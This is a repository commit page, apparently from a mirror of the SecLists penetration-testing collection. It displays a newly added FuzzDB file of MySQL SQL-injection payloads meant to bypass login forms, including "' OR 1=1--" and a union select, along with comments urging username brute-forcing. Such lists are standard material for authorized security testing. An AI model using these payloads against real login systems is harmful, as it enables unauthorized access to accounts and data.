idan/SecLists
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Many additions to the repository...

Browse Source
This commit is contained in:
Daniel Miessler
2012-08-26 20:04:09 -07:00
parent 6f52e9bd4a
commit b9e6418c48
113 changed files with 824123 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
Fuzzing/FUZZDB_MySQL_SQLi_LoginBypass.txt Normal file
View File

@@ -0,0 +1,8 @@
# regex replace as many as you can with your fuzzer for best results:
# <user-fieldname> <pass-fieldname> <username>
# also try to brute force a list of possible usernames, including possile admin acct names
<username>' OR 1=1--
'OR '' = ' Allows authentication without a valid username.
<username>'--
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
'OR 1=1--